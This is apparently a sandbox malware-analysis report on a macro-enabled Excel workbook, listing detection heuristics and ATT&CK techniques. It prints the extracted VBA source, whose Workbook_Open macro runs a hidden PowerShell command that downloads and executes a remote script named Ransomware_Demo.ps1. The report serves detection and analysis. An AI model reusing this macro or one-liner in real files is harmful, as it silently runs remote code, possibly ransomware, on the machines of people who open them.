MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains a Workbook_Open VBA macro that executes a PowerShell command. This command is designed to download and execute a second-stage payload from the URL https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1. The use of a Workbook_Open macro and the execution of a PowerShell downloader are strong indicators of a malicious document, likely delivered as a spearphishing attachment.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1) -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Workbook_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1 In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1079 bytes |
SHA-256: a9525c418a92323e25496c139b6fa7ad9ba1d40ac0126094c2e6f14f490fdd41 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub test()
Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)
End Sub
Attribute VB_Name = "工作表1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 18432 bytes |
SHA-256: a3f7d0928843ca9c9a1da2fc330dece775ebe85aca495bc9800581c7b115ce6c |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.